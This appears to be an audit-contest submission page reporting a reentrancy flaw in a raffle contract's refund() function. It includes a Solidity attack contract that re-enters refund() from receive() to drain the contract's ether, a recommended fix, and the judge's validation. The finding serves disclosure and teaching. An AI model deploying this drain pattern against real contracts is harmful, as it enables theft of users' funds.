Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack on Refund

Summary

Attacker can reenter the refund function since state is modified after the funds have been sent.

Vulnerability Details

Attacker can modify the receive/fallback functions and re-call the refund functions until it's fully drained.

Impact

Account will be drained

Tools Used

interface IPuppyRaffle {
function refund(uint256 playerIndex) external;
function enterRaffle(address[] memory newPlayers) external payable;
function getActivePlayerIndex(address player) external view returns (uint256);
function selectWinner() external;
function withdrawFees() external;
}
contract ReentrancyAttack {
IPuppyRaffle public raffle;
address[] private players;
constructor(address _raffle) {
raffle = IPuppyRaffle(_raffle);
}
receive() external payable {
if (address(raffle).balance > 0) {
raffle.refund(0);
}
}
function startGame() external payable {
players.push(address(this));
players.push(...);
raffle.enterRaffle{value: msg.value}(players);
delete players;
}
function attack() external payable {
raffle.refund(0);
}
}

Recommendations

Delete player from players list before sending the ether back

function refund(uint256 playerIndex) public {
...
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
...
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!